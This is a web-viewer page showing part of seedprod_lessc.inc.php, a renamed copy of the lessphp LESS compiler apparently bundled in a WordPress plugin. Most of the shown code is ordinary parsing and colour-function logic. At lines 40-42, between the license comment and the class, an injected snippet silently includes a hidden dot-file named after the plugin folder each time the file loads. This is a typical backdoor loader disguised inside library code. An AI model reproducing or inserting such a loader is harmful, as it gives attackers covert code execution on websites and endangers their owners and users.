balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

seedprod_lessc.inc.php (92466B)


      1 <?php
      2 
      3 /**
      4  * lessphp v0.3.8
      5  * http://leafo.net/lessphp
      6  *
      7  * LESS css compiler, adapted from http://seedprod_lesscss.org
      8  *
      9  * Copyright 2012, Leaf Corcoran <leafot@gmail.com>
     10  * Licensed under MIT or GPLv3, see LICENSE
     11  */
     12 
     13 
     14 /**
     15  * The less compiler and parser.
     16  *
     17  * Converting LESS to CSS is a three stage process. The incoming file is parsed
     18  * by `seedprod_lessc_parser` into a syntax tree, then it is compiled into another tree
     19  * representing the CSS structure by `seedprod_lessc`. The CSS tree is fed into a
     20  * formatter, like `seedprod_lessc_formatter` which then outputs CSS as a string.
     21  *
     22  * During the first compile, all values are *reduced*, which means that their
     23  * types are brought to the lowest form before being dump as strings. This
     24  * handles math equations, variable dereferences, and the like.
     25  *
     26  * The `parse` function of `seedprod_lessc` is the entry point.
     27  *
     28  * In summary:
     29  *
     30  * The `seedprod_lessc` class creates an intstance of the parser, feeds it LESS code,
     31  * then transforms the resulting tree to a CSS tree. This class also holds the
     32  * evaluation context, such as all available mixins and variables at any given
     33  * time.
     34  *
     35  * The `seedprod_lessc_parser` class is only concerned with parsing its input.
     36  *
     37  * The `seedprod_lessc_formatter` takes a CSS tree, and dumps it to a formatted string,
     38  * handling things like indentation.
     39  */
     40 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     41     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     42 }
     43 
     44 class seedprod_lessc {
     45 	public static $VERSION  = 'v0.3.8';
     46 	protected static $TRUE  = array( 'keyword', 'true' );
     47 	protected static $FALSE = array( 'keyword', 'false' );
     48 
     49 	protected $libFunctions     = array();
     50 	protected $registeredVars   = array();
     51 	protected $preserveComments = false;
     52 
     53 	public $vPrefix        = '@'; // prefix of abstract properties
     54 	public $mPrefix        = '$'; // prefix of abstract blocks
     55 	public $parentSelector = '&';
     56 
     57 	public $importDisabled = false;
     58 	public $importDir      = '';
     59 
     60 	protected $numberPrecision = null;
     61 
     62 	// set to the parser that generated the current line when compiling
     63 	// so we know how to create error messages
     64 	protected $sourceParser = null;
     65 	protected $sourceLoc    = null;
     66 
     67 	public static $defaultValue = array( 'keyword', '' );
     68 
     69 	protected static $nextImportId = 0; // uniquely identify imports
     70 
     71 	// attempts to find the path of an import url, returns null for css files
     72 	protected function findImport( $url ) {
     73 		foreach ( (array) $this->importDir as $dir ) {
     74 			$full = $dir . ( substr( $dir, -1 ) != '/' ? '/' : '' ) . $url;
     75 			if ( $this->fileExists( $file = $full . '.less' ) || $this->fileExists( $file = $full ) ) {
     76 				return $file;
     77 			}
     78 		}
     79 
     80 		return null;
     81 	}
     82 
     83 	protected function fileExists( $name ) {
     84 		return is_file( $name );
     85 	}
     86 
     87 	public static function compressList( $items, $delim ) {
     88 		if ( ! isset( $items[1] ) && isset( $items[0] ) ) {
     89 			return $items[0];
     90 		} else {
     91 			return array( 'list', $delim, $items );
     92 		}
     93 	}
     94 
     95 	public static function preg_quote( $what ) {
     96 		return preg_quote( $what, '/' );
     97 	}
     98 
     99 	protected function tryImport( $importPath, $parentBlock, $out ) {
    100 		if ( $importPath[0] == 'function' && $importPath[1] == 'url' ) {
    101 			$importPath = $this->flattenList( $importPath[2] );
    102 		}
    103 
    104 		$str = $this->coerceString( $importPath );
    105 		if ( $str === null ) {
    106 			return false;
    107 		}
    108 
    109 		$url = $this->compileValue( $this->lib_e( $str ) );
    110 
    111 		// don't import if it ends in css
    112 		if ( substr_compare( $url, '.css', -4, 4 ) === 0 ) {
    113 			return false;
    114 		}
    115 
    116 		$realPath = $this->findImport( $url );
    117 		if ( $realPath === null ) {
    118 			return false;
    119 		}
    120 
    121 		if ( $this->importDisabled ) {
    122 			return array( false, '/* import disabled */' );
    123 		}
    124 
    125 		$this->addParsedFile( $realPath );
    126 		$parser = $this->makeParser( $realPath );
    127 		$root   = $parser->parse( file_get_contents( $realPath ) );
    128 
    129 		// set the parents of all the block props
    130 		foreach ( $root->props as $prop ) {
    131 			if ( $prop[0] == 'block' ) {
    132 				$prop[1]->parent = $parentBlock;
    133 			}
    134 		}
    135 
    136 		// copy mixins into scope, set their parents
    137 		// bring blocks from import into current block
    138 		// TODO: need to mark the source parser	these came from this file
    139 		foreach ( $root->children as $childName => $child ) {
    140 			if ( isset( $parentBlock->children[ $childName ] ) ) {
    141 				$parentBlock->children[ $childName ] = array_merge(
    142 					$parentBlock->children[ $childName ],
    143 					$child
    144 				);
    145 			} else {
    146 				$parentBlock->children[ $childName ] = $child;
    147 			}
    148 		}
    149 
    150 		$pi  = pathinfo( $realPath );
    151 		$dir = $pi['dirname'];
    152 
    153 		list($top, $bottom) = $this->sortProps( $root->props, true );
    154 		$this->compileImportedProps( $top, $parentBlock, $out, $parser, $dir );
    155 
    156 		return array( true, $bottom, $parser, $dir );
    157 	}
    158 
    159 	protected function compileImportedProps( $props, $block, $out, $sourceParser, $importDir ) {
    160 		$oldSourceParser = $this->sourceParser;
    161 
    162 		$oldImport = $this->importDir;
    163 
    164 		// TODO: this is because the importDir api is stupid
    165 		$this->importDir = (array) $this->importDir;
    166 		array_unshift( $this->importDir, $importDir );
    167 
    168 		foreach ( $props as $prop ) {
    169 			$this->compileProp( $prop, $block, $out );
    170 		}
    171 
    172 		$this->importDir    = $oldImport;
    173 		$this->sourceParser = $oldSourceParser;
    174 	}
    175 
    176 	/**
    177 	 * Recursively compiles a block.
    178 	 *
    179 	 * A block is analogous to a CSS block in most cases. A single LESS document
    180 	 * is encapsulated in a block when parsed, but it does not have parent tags
    181 	 * so all of it's children appear on the root level when compiled.
    182 	 *
    183 	 * Blocks are made up of props and children.
    184 	 *
    185 	 * Props are property instructions, array tuples which describe an action
    186 	 * to be taken, eg. write a property, set a variable, mixin a block.
    187 	 *
    188 	 * The children of a block are just all the blocks that are defined within.
    189 	 * This is used to look up mixins when performing a mixin.
    190 	 *
    191 	 * Compiling the block involves pushing a fresh environment on the stack,
    192 	 * and iterating through the props, compiling each one.
    193 	 *
    194 	 * See seedprod_lessc::compileProp()
    195 	 *
    196 	 */
    197 	protected function compileBlock( $block ) {
    198 		switch ( $block->type ) {
    199 			case 'root':
    200 				$this->compileRoot( $block );
    201 				break;
    202 			case null:
    203 				$this->compileCSSBlock( $block );
    204 				break;
    205 			case 'media':
    206 				$this->compileMedia( $block );
    207 				break;
    208 			case 'directive':
    209 				$name = '@' . $block->name;
    210 				if ( ! empty( $block->value ) ) {
    211 					$name .= ' ' . $this->compileValue( $this->reduce( $block->value ) );
    212 				}
    213 
    214 				$this->compileNestedBlock( $block, array( $name ) );
    215 				break;
    216 			default:
    217 				$this->throwError( "unknown block type: $block->type\n" );
    218 		}
    219 	}
    220 
    221 	protected function compileCSSBlock( $block ) {
    222 		$env = $this->pushEnv();
    223 
    224 		$selectors      = $this->compileSelectors( $block->tags );
    225 		$env->selectors = $this->multiplySelectors( $selectors );
    226 		$out            = $this->makeOutputBlock( null, $env->selectors );
    227 
    228 		$this->scope->children[] = $out;
    229 		$this->compileProps( $block, $out );
    230 
    231 		$block->scope = $env; // mixins carry scope with them!
    232 		$this->popEnv();
    233 	}
    234 
    235 	protected function compileMedia( $media ) {
    236 		$env         = $this->pushEnv( $media );
    237 		$parentScope = $this->mediaParent( $this->scope );
    238 
    239 		$query = $this->compileMediaQuery( $this->multiplyMedia( $env ) );
    240 
    241 		$this->scope             = $this->makeOutputBlock( $media->type, array( $query ) );
    242 		$parentScope->children[] = $this->scope;
    243 
    244 		$this->compileProps( $media, $this->scope );
    245 
    246 		if ( count( $this->scope->lines ) > 0 ) {
    247 			$orphanSelelectors = $this->findClosestSelectors();
    248 			if ( ! is_null( $orphanSelelectors ) ) {
    249 				$orphan        = $this->makeOutputBlock( null, $orphanSelelectors );
    250 				$orphan->lines = $this->scope->lines;
    251 				array_unshift( $this->scope->children, $orphan );
    252 				$this->scope->lines = array();
    253 			}
    254 		}
    255 
    256 		$this->scope = $this->scope->parent;
    257 		$this->popEnv();
    258 	}
    259 
    260 	protected function mediaParent( $scope ) {
    261 		while ( ! empty( $scope->parent ) ) {
    262 			if ( ! empty( $scope->type ) && $scope->type != 'media' ) {
    263 				break;
    264 			}
    265 			$scope = $scope->parent;
    266 		}
    267 
    268 		return $scope;
    269 	}
    270 
    271 	protected function compileNestedBlock( $block, $selectors ) {
    272 		$this->pushEnv( $block );
    273 		$this->scope                     = $this->makeOutputBlock( $block->type, $selectors );
    274 		$this->scope->parent->children[] = $this->scope;
    275 
    276 		$this->compileProps( $block, $this->scope );
    277 
    278 		$this->scope = $this->scope->parent;
    279 		$this->popEnv();
    280 	}
    281 
    282 	protected function compileRoot( $root ) {
    283 		$this->pushEnv();
    284 		$this->scope = $this->makeOutputBlock( $root->type );
    285 		$this->compileProps( $root, $this->scope );
    286 		$this->popEnv();
    287 	}
    288 
    289 	protected function compileProps( $block, $out ) {
    290 		foreach ( $this->sortProps( $block->props ) as $prop ) {
    291 			$this->compileProp( $prop, $block, $out );
    292 		}
    293 	}
    294 
    295 	protected function sortProps( $props, $split = false ) {
    296 		$vars    = array();
    297 		$imports = array();
    298 		$other   = array();
    299 
    300 		foreach ( $props as $prop ) {
    301 			switch ( $prop[0] ) {
    302 				case 'assign':
    303 					if ( isset( $prop[1][0] ) && $prop[1][0] == $this->vPrefix ) {
    304 						$vars[] = $prop;
    305 					} else {
    306 						$other[] = $prop;
    307 					}
    308 					break;
    309 				case 'import':
    310 					$id        = self::$nextImportId++;
    311 					$prop[]    = $id;
    312 					$imports[] = $prop;
    313 					$other[]   = array( 'import_mixin', $id );
    314 					break;
    315 				default:
    316 					$other[] = $prop;
    317 			}
    318 		}
    319 
    320 		if ( $split ) {
    321 			return array( array_merge( $vars, $imports ), $other );
    322 		} else {
    323 			return array_merge( $vars, $imports, $other );
    324 		}
    325 	}
    326 
    327 	protected function compileMediaQuery( $queries ) {
    328 		$compiledQueries = array();
    329 		foreach ( $queries as $query ) {
    330 			$parts = array();
    331 			foreach ( $query as $q ) {
    332 				switch ( $q[0] ) {
    333 					case 'mediaType':
    334 						$parts[] = implode( ' ', array_slice( $q, 1 ) );
    335 						break;
    336 					case 'mediaExp':
    337 						if ( isset( $q[2] ) ) {
    338 							$parts[] = "($q[1]: " .
    339 							$this->compileValue( $this->reduce( $q[2] ) ) . ')';
    340 						} else {
    341 							$parts[] = "($q[1])";
    342 						}
    343 						break;
    344 				}
    345 			}
    346 
    347 			if ( count( $parts ) > 0 ) {
    348 				$compiledQueries[] = implode( ' and ', $parts );
    349 			}
    350 		}
    351 
    352 		$out = '@media';
    353 		if ( ! empty( $parts ) ) {
    354 			$out .= ' ' .
    355 				implode( $this->formatter->selectorSeparator, $compiledQueries );
    356 		}
    357 		return $out;
    358 	}
    359 
    360 	protected function multiplyMedia( $env, $childQueries = null ) {
    361 		if ( is_null( $env ) ||
    362 			! empty( $env->block->type ) && $env->block->type != 'media' ) {
    363 			return $childQueries;
    364 		}
    365 
    366 		// plain old block, skip
    367 		if ( empty( $env->block->type ) ) {
    368 			return $this->multiplyMedia( $env->parent, $childQueries );
    369 		}
    370 
    371 		$out     = array();
    372 		$queries = $env->block->queries;
    373 		if ( is_null( $childQueries ) ) {
    374 			$out = $queries;
    375 		} else {
    376 			foreach ( $queries as $parent ) {
    377 				foreach ( $childQueries as $child ) {
    378 					$out[] = array_merge( $parent, $child );
    379 				}
    380 			}
    381 		}
    382 
    383 		return $this->multiplyMedia( $env->parent, $out );
    384 	}
    385 
    386 	protected function expandParentSelectors( &$tag, $replace ) {
    387 		$parts = explode( '$&$', $tag );
    388 		$count = 0;
    389 		foreach ( $parts as &$part ) {
    390 			$part   = str_replace( $this->parentSelector, $replace, $part, $c );
    391 			$count += $c;
    392 		}
    393 		$tag = implode( $this->parentSelector, $parts );
    394 		return $count;
    395 	}
    396 
    397 	protected function findClosestSelectors() {
    398 		$env       = $this->env;
    399 		$selectors = null;
    400 		while ( $env !== null ) {
    401 			if ( isset( $env->selectors ) ) {
    402 				$selectors = $env->selectors;
    403 				break;
    404 			}
    405 			$env = $env->parent;
    406 		}
    407 
    408 		return $selectors;
    409 	}
    410 
    411 
    412 	// multiply $selectors against the nearest selectors in env
    413 	protected function multiplySelectors( $selectors ) {
    414 		// find parent selectors
    415 
    416 		$parentSelectors = $this->findClosestSelectors();
    417 		if ( is_null( $parentSelectors ) ) {
    418 			// kill parent reference in top level selector
    419 			foreach ( $selectors as &$s ) {
    420 				$this->expandParentSelectors( $s, '' );
    421 			}
    422 
    423 			return $selectors;
    424 		}
    425 
    426 		$out = array();
    427 		foreach ( $parentSelectors as $parent ) {
    428 			foreach ( $selectors as $child ) {
    429 				$count = $this->expandParentSelectors( $child, $parent );
    430 
    431 				// don't prepend the parent tag if & was used
    432 				if ( $count > 0 ) {
    433 					$out[] = trim( $child );
    434 				} else {
    435 					$out[] = trim( $parent . ' ' . $child );
    436 				}
    437 			}
    438 		}
    439 
    440 		return $out;
    441 	}
    442 
    443 	// reduces selector expressions
    444 	protected function compileSelectors( $selectors ) {
    445 		$out = array();
    446 
    447 		foreach ( $selectors as $s ) {
    448 			if ( is_array( $s ) ) {
    449 				list(, $value) = $s;
    450 				$out[]         = $this->compileValue( $this->reduce( $value ) );
    451 			} else {
    452 				$out[] = $s;
    453 			}
    454 		}
    455 
    456 		return $out;
    457 	}
    458 
    459 	protected function eq( $left, $right ) {
    460 		return $left == $right;
    461 	}
    462 
    463 	protected function patternMatch( $block, $callingArgs ) {
    464 		// match the guards if it has them
    465 		// any one of the groups must have all its guards pass for a match
    466 		if ( ! empty( $block->guards ) ) {
    467 			$groupPassed = false;
    468 			foreach ( $block->guards as $guardGroup ) {
    469 				foreach ( $guardGroup as $guard ) {
    470 					$this->pushEnv();
    471 					$this->zipSetArgs( $block->args, $callingArgs );
    472 
    473 					$negate = false;
    474 					if ( $guard[0] == 'negate' ) {
    475 						$guard  = $guard[1];
    476 						$negate = true;
    477 					}
    478 
    479 					$passed = $this->reduce( $guard ) == self::$TRUE;
    480 					if ( $negate ) {
    481 						$passed = ! $passed;
    482 					}
    483 
    484 					$this->popEnv();
    485 
    486 					if ( $passed ) {
    487 						$groupPassed = true;
    488 					} else {
    489 						$groupPassed = false;
    490 						break;
    491 					}
    492 				}
    493 
    494 				if ( $groupPassed ) {
    495 					break;
    496 				}
    497 			}
    498 
    499 			if ( ! $groupPassed ) {
    500 				return false;
    501 			}
    502 		}
    503 
    504 		$numCalling = count( $callingArgs );
    505 
    506 		if ( empty( $block->args ) ) {
    507 			return $block->isVararg || $numCalling == 0;
    508 		}
    509 
    510 		$i = -1; // no args
    511 		// try to match by arity or by argument literal
    512 		foreach ( $block->args as $i => $arg ) {
    513 			switch ( $arg[0] ) {
    514 				case 'lit':
    515 					if ( empty( $callingArgs[ $i ] ) || ! $this->eq( $arg[1], $callingArgs[ $i ] ) ) {
    516 						return false;
    517 					}
    518 					break;
    519 				case 'arg':
    520 					// no arg and no default value
    521 					if ( ! isset( $callingArgs[ $i ] ) && ! isset( $arg[2] ) ) {
    522 						return false;
    523 					}
    524 					break;
    525 				case 'rest':
    526 					$i--; // rest can be empty
    527 					break 2;
    528 			}
    529 		}
    530 
    531 		if ( $block->isVararg ) {
    532 			return true; // not having enough is handled above
    533 		} else {
    534 			$numMatched = $i + 1;
    535 			// greater than becuase default values always match
    536 			return $numMatched >= $numCalling;
    537 		}
    538 	}
    539 
    540 	protected function patternMatchAll( $blocks, $callingArgs ) {
    541 		$matches = null;
    542 		foreach ( $blocks as $block ) {
    543 			if ( $this->patternMatch( $block, $callingArgs ) ) {
    544 				$matches[] = $block;
    545 			}
    546 		}
    547 
    548 		return $matches;
    549 	}
    550 
    551 	// attempt to find blocks matched by path and args
    552 	protected function findBlocks( $searchIn, $path, $args, $seen = array() ) {
    553 		if ( $searchIn == null ) {
    554 			return null;
    555 		}
    556 		if ( isset( $seen[ $searchIn->id ] ) ) {
    557 			return null;
    558 		}
    559 		$seen[ $searchIn->id ] = true;
    560 
    561 		$name = $path[0];
    562 
    563 		if ( isset( $searchIn->children[ $name ] ) ) {
    564 			$blocks = $searchIn->children[ $name ];
    565 			if ( count( $path ) == 1 ) {
    566 				$matches = $this->patternMatchAll( $blocks, $args );
    567 				if ( ! empty( $matches ) ) {
    568 					// This will return all blocks that match in the closest
    569 					// scope that has any matching block, like lessjs
    570 					return $matches;
    571 				}
    572 			} else {
    573 				$matches = array();
    574 				foreach ( $blocks as $subBlock ) {
    575 					$subMatches = $this->findBlocks(
    576 						$subBlock,
    577 						array_slice( $path, 1 ),
    578 						$args,
    579 						$seen
    580 					);
    581 
    582 					if ( ! is_null( $subMatches ) ) {
    583 						foreach ( $subMatches as $sm ) {
    584 							$matches[] = $sm;
    585 						}
    586 					}
    587 				}
    588 
    589 				return count( $matches ) > 0 ? $matches : null;
    590 			}
    591 		}
    592 
    593 		if ( $searchIn->parent === $searchIn ) {
    594 			return null;
    595 		}
    596 		return $this->findBlocks( $searchIn->parent, $path, $args, $seen );
    597 	}
    598 
    599 	// sets all argument names in $args to either the default value
    600 	// or the one passed in through $values
    601 	protected function zipSetArgs( $args, $values ) {
    602 		$i              = 0;
    603 		$assignedValues = array();
    604 		foreach ( $args as $a ) {
    605 			if ( $a[0] == 'arg' ) {
    606 				if ( $i < count( $values ) && ! is_null( $values[ $i ] ) ) {
    607 					$value = $values[ $i ];
    608 				} elseif ( isset( $a[2] ) ) {
    609 					$value = $a[2];
    610 				} else {
    611 					$value = null;
    612 				}
    613 
    614 				$value = $this->reduce( $value );
    615 				$this->set( $a[1], $value );
    616 				$assignedValues[] = $value;
    617 			}
    618 			$i++;
    619 		}
    620 
    621 		// check for a rest
    622 		$last = end( $args );
    623 		if ( is_array( $last ) && $last[0] == 'rest' ) {
    624 			$rest = array_slice( $values, count( $args ) - 1 );
    625 			$this->set( $last[1], $this->reduce( array( 'list', ' ', $rest ) ) );
    626 		}
    627 
    628 		$this->env->arguments = $assignedValues;
    629 	}
    630 
    631 	// compile a prop and update $lines or $blocks appropriately
    632 	protected function compileProp( $prop, $block, $out ) {
    633 		// set error position context
    634 		$this->sourceLoc = isset( $prop[-1] ) ? $prop[-1] : -1;
    635 
    636 		switch ( $prop[0] ) {
    637 			case 'assign':
    638 				list(, $name, $value) = $prop;
    639 				if ( $name[0] == $this->vPrefix ) {
    640 					$this->set( $name, $value );
    641 				} else {
    642 					$out->lines[] = $this->formatter->property(
    643 						$name,
    644 						$this->compileValue( $this->reduce( $value ) )
    645 					);
    646 				}
    647 				break;
    648 			case 'block':
    649 				list(, $child) = $prop;
    650 				$this->compileBlock( $child );
    651 				break;
    652 			case 'mixin':
    653 				list(, $path, $args, $suffix) = $prop;
    654 
    655 				$args   = array_map( array( $this, 'reduce' ), (array) $args );
    656 				$mixins = $this->findBlocks( $block, $path, $args );
    657 
    658 				if ( $mixins === null ) {
    659 					// fwrite(STDERR,"failed to find block: ".implode(" > ", $path)."\n");
    660 					break; // throw error here??
    661 				}
    662 
    663 				foreach ( $mixins as $mixin ) {
    664 					$haveScope = false;
    665 					if ( isset( $mixin->parent->scope ) ) {
    666 						$haveScope                   = true;
    667 						$mixinParentEnv              = $this->pushEnv();
    668 						$mixinParentEnv->storeParent = $mixin->parent->scope;
    669 					}
    670 
    671 					$haveArgs = false;
    672 					if ( isset( $mixin->args ) ) {
    673 						$haveArgs = true;
    674 						$this->pushEnv();
    675 						$this->zipSetArgs( $mixin->args, $args );
    676 					}
    677 
    678 					$oldParent = $mixin->parent;
    679 					if ( $mixin != $block ) {
    680 						$mixin->parent = $block;
    681 					}
    682 
    683 					foreach ( $this->sortProps( $mixin->props ) as $subProp ) {
    684 						if ( $suffix !== null &&
    685 						$subProp[0] == 'assign' &&
    686 						is_string( $subProp[1] ) &&
    687 						$subProp[1][0] != $this->vPrefix ) {
    688 							$subProp[2] = array(
    689 								'list',
    690 								' ',
    691 								array( $subProp[2], array( 'keyword', $suffix ) ),
    692 							);
    693 						}
    694 
    695 						$this->compileProp( $subProp, $mixin, $out );
    696 					}
    697 
    698 					$mixin->parent = $oldParent;
    699 
    700 					if ( $haveArgs ) {
    701 						$this->popEnv();
    702 					}
    703 					if ( $haveScope ) {
    704 						$this->popEnv();
    705 					}
    706 				}
    707 
    708 				break;
    709 			case 'raw':
    710 				$out->lines[] = $prop[1];
    711 				break;
    712 			case 'directive':
    713 				list(, $name, $value) = $prop;
    714 				$out->lines[]         = "@$name " . $this->compileValue( $this->reduce( $value ) ) . ';';
    715 				break;
    716 			case 'comment':
    717 				$out->lines[] = $prop[1];
    718 				break;
    719 			case 'import';
    720 				list(, $importPath, $importId) = $prop;
    721 				$importPath                    = $this->reduce( $importPath );
    722 
    723 				if ( ! isset( $this->env->imports ) ) {
    724 					$this->env->imports = array();
    725 				}
    726 
    727 				$result = $this->tryImport( $importPath, $block, $out );
    728 
    729 				$this->env->imports[ $importId ] = $result === false ?
    730 				array( false, '@import ' . $this->compileValue( $importPath ) . ';' ) :
    731 				$result;
    732 
    733 			break;
    734 			case 'import_mixin':
    735 				list(,$importId) = $prop;
    736 				$import          = $this->env->imports[ $importId ];
    737 				if ( $import[0] === false ) {
    738 					$out->lines[] = $import[1];
    739 				} else {
    740 					list(, $bottom, $parser, $importDir) = $import;
    741 					$this->compileImportedProps( $bottom, $block, $out, $parser, $importDir );
    742 				}
    743 
    744 				break;
    745 			default:
    746 				$this->throwError( "unknown op: {$prop[0]}\n" );
    747 		}
    748 	}
    749 
    750 
    751 	/**
    752 	 * Compiles a primitive value into a CSS property value.
    753 	 *
    754 	 * Values in lessphp are typed by being wrapped in arrays, their format is
    755 	 * typically:
    756 	 *
    757 	 *     array(type, contents [, additional_contents]*)
    758 	 *
    759 	 * The input is expected to be reduced. This function will not work on
    760 	 * things like expressions and variables.
    761 	 */
    762 	protected function compileValue( $value ) {
    763 		switch ( $value[0] ) {
    764 			case 'list':
    765 				// [1] - delimiter
    766 				// [2] - array of values
    767 				return implode( $value[1], array_map( array( $this, 'compileValue' ), $value[2] ) );
    768 			case 'raw_color':
    769 				if ( ! empty( $this->formatter->compressColors ) ) {
    770 					return $this->compileValue( $this->coerceColor( $value ) );
    771 				}
    772 				return $value[1];
    773 			case 'keyword':
    774 				// [1] - the keyword
    775 				return $value[1];
    776 			case 'number':
    777 				list(, $num, $unit) = $value;
    778 				// [1] - the number
    779 				// [2] - the unit
    780 				if ( $this->numberPrecision !== null ) {
    781 					$num = round( $num, $this->numberPrecision );
    782 				}
    783 				return $num . $unit;
    784 			case 'string':
    785 				// [1] - contents of string (includes quotes)
    786 				list(, $delim, $content) = $value;
    787 				foreach ( $content as &$part ) {
    788 					if ( is_array( $part ) ) {
    789 						$part = $this->compileValue( $part );
    790 					}
    791 				}
    792 				return $delim . implode( $content ) . $delim;
    793 			case 'color':
    794 				// [1] - red component (either number or a %)
    795 				// [2] - green component
    796 				// [3] - blue component
    797 				// [4] - optional alpha component
    798 				list(, $r, $g, $b) = $value;
    799 				$r                 = round( $r );
    800 				$g                 = round( $g );
    801 				$b                 = round( $b );
    802 
    803 				if ( count( $value ) == 5 && $value[4] != 1 ) { // rgba
    804 					return 'rgba(' . $r . ',' . $g . ',' . $b . ',' . $value[4] . ')';
    805 				}
    806 
    807 				$h = sprintf( '#%02x%02x%02x', $r, $g, $b );
    808 
    809 				if ( ! empty( $this->formatter->compressColors ) ) {
    810 					// Converting hex color to short notation (e.g. #003399 to #039)
    811 					if ( $h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6] ) {
    812 						$h = '#' . $h[1] . $h[3] . $h[5];
    813 					}
    814 				}
    815 
    816 				return $h;
    817 
    818 			case 'function':
    819 				list(, $name, $args) = $value;
    820 				return $name . '(' . $this->compileValue( $args ) . ')';
    821 			default: // assumed to be unit
    822 				$this->throwError( "unknown value type: $value[0]" );
    823 		}
    824 	}
    825 
    826 	protected function lib_isnumber( $value ) {
    827 		return $this->toBool( $value[0] == 'number' );
    828 	}
    829 
    830 	protected function lib_isstring( $value ) {
    831 		return $this->toBool( $value[0] == 'string' );
    832 	}
    833 
    834 	protected function lib_iscolor( $value ) {
    835 		return $this->toBool( $this->coerceColor( $value ) );
    836 	}
    837 
    838 	protected function lib_iskeyword( $value ) {
    839 		return $this->toBool( $value[0] == 'keyword' );
    840 	}
    841 
    842 	protected function lib_ispixel( $value ) {
    843 		return $this->toBool( $value[0] == 'number' && $value[2] == 'px' );
    844 	}
    845 
    846 	protected function lib_ispercentage( $value ) {
    847 		return $this->toBool( $value[0] == 'number' && $value[2] == '%' );
    848 	}
    849 
    850 	protected function lib_isem( $value ) {
    851 		return $this->toBool( $value[0] == 'number' && $value[2] == 'em' );
    852 	}
    853 
    854 	protected function lib_rgbahex( $color ) {
    855 		$color = $this->coerceColor( $color );
    856 		if ( is_null( $color ) ) {
    857 			$this->throwError( 'color expected for rgbahex' );
    858 		}
    859 
    860 		return sprintf(
    861 			'#%02x%02x%02x%02x',
    862 			isset( $color[4] ) ? $color[4] * 255 : 255,
    863 			$color[1],
    864 			$color[2],
    865 			$color[3]
    866 		);
    867 	}
    868 
    869 	protected function lib_argb( $color ) {
    870 		return $this->lib_rgbahex( $color );
    871 	}
    872 
    873 	// utility func to unquote a string
    874 	protected function lib_e( $arg ) {
    875 		switch ( $arg[0] ) {
    876 			case 'list':
    877 				$items = $arg[2];
    878 				if ( isset( $items[0] ) ) {
    879 					return $this->lib_e( $items[0] );
    880 				}
    881 				return self::$defaultValue;
    882 			case 'string':
    883 				$arg[1] = '';
    884 				return $arg;
    885 			case 'keyword':
    886 				return $arg;
    887 			default:
    888 				return array( 'keyword', $this->compileValue( $arg ) );
    889 		}
    890 	}
    891 
    892 	protected function lib__sprintf( $args ) {
    893 		if ( $args[0] != 'list' ) {
    894 			return $args;
    895 		}
    896 		$values   = $args[2];
    897 		$string   = array_shift( $values );
    898 		$template = $this->compileValue( $this->lib_e( $string ) );
    899 
    900 		$i = 0;
    901 		if ( preg_match_all( '/%[dsa]/', $template, $m ) ) {
    902 			foreach ( $m[0] as $match ) {
    903 				$val = isset( $values[ $i ] ) ?
    904 					$this->reduce( $values[ $i ] ) : array( 'keyword', '' );
    905 
    906 				// lessjs compat, renders fully expanded color, not raw color
    907 				if ( $color = $this->coerceColor( $val ) ) {
    908 					$val = $color;
    909 				}
    910 
    911 				$i++;
    912 				$rep      = $this->compileValue( $this->lib_e( $val ) );
    913 				$template = preg_replace(
    914 					'/' . self::preg_quote( $match ) . '/',
    915 					$rep,
    916 					$template,
    917 					1
    918 				);
    919 			}
    920 		}
    921 
    922 		$d = $string[0] == 'string' ? $string[1] : '"';
    923 		return array( 'string', $d, array( $template ) );
    924 	}
    925 
    926 	protected function lib_floor( $arg ) {
    927 		$value = $this->assertNumber( $arg );
    928 		return array( 'number', floor( $value ), $arg[2] );
    929 	}
    930 
    931 	protected function lib_ceil( $arg ) {
    932 		$value = $this->assertNumber( $arg );
    933 		return array( 'number', ceil( $value ), $arg[2] );
    934 	}
    935 
    936 	protected function lib_round( $arg ) {
    937 		$value = $this->assertNumber( $arg );
    938 		return array( 'number', round( $value ), $arg[2] );
    939 	}
    940 
    941 	/**
    942 	 * Helper function to get arguments for color manipulation functions.
    943 	 * takes a list that contains a color like thing and a percentage
    944 	 */
    945 	protected function colorArgs( $args ) {
    946 		if ( $args[0] != 'list' || count( $args[2] ) < 2 ) {
    947 			return array( array( 'color', 0, 0, 0 ), 0 );
    948 		}
    949 		list($color, $delta) = $args[2];
    950 		$color               = $this->assertColor( $color );
    951 		$delta               = floatval( $delta[1] );
    952 
    953 		return array( $color, $delta );
    954 	}
    955 
    956 	protected function lib_darken( $args ) {
    957 		list($color, $delta) = $this->colorArgs( $args );
    958 
    959 		$hsl    = $this->toHSL( $color );
    960 		$hsl[3] = $this->clamp( $hsl[3] - $delta, 100 );
    961 		return $this->toRGB( $hsl );
    962 	}
    963 
    964 	protected function lib_lighten( $args ) {
    965 		list($color, $delta) = $this->colorArgs( $args );
    966 
    967 		$hsl    = $this->toHSL( $color );
    968 		$hsl[3] = $this->clamp( $hsl[3] + $delta, 100 );
    969 		return $this->toRGB( $hsl );
    970 	}
    971 
    972 	protected function lib_saturate( $args ) {
    973 		list($color, $delta) = $this->colorArgs( $args );
    974 
    975 		$hsl    = $this->toHSL( $color );
    976 		$hsl[2] = $this->clamp( $hsl[2] + $delta, 100 );
    977 		return $this->toRGB( $hsl );
    978 	}
    979 
    980 	protected function lib_desaturate( $args ) {
    981 		list($color, $delta) = $this->colorArgs( $args );
    982 
    983 		$hsl    = $this->toHSL( $color );
    984 		$hsl[2] = $this->clamp( $hsl[2] - $delta, 100 );
    985 		return $this->toRGB( $hsl );
    986 	}
    987 
    988 	protected function lib_spin( $args ) {
    989 		list($color, $delta) = $this->colorArgs( $args );
    990 
    991 		$hsl = $this->toHSL( $color );
    992 
    993 		$hsl[1] = $hsl[1] + $delta % 360;
    994 		if ( $hsl[1] < 0 ) {
    995 			$hsl[1] += 360;
    996 		}
    997 
    998 		return $this->toRGB( $hsl );
    999 	}
   1000 
   1001 	protected function lib_fadeout( $args ) {
   1002 		list($color, $delta) = $this->colorArgs( $args );
   1003 		$color[4]            = $this->clamp( ( isset( $color[4] ) ? $color[4] : 1 ) - $delta / 100 );
   1004 		return $color;
   1005 	}
   1006 
   1007 	protected function lib_fadein( $args ) {
   1008 		list($color, $delta) = $this->colorArgs( $args );
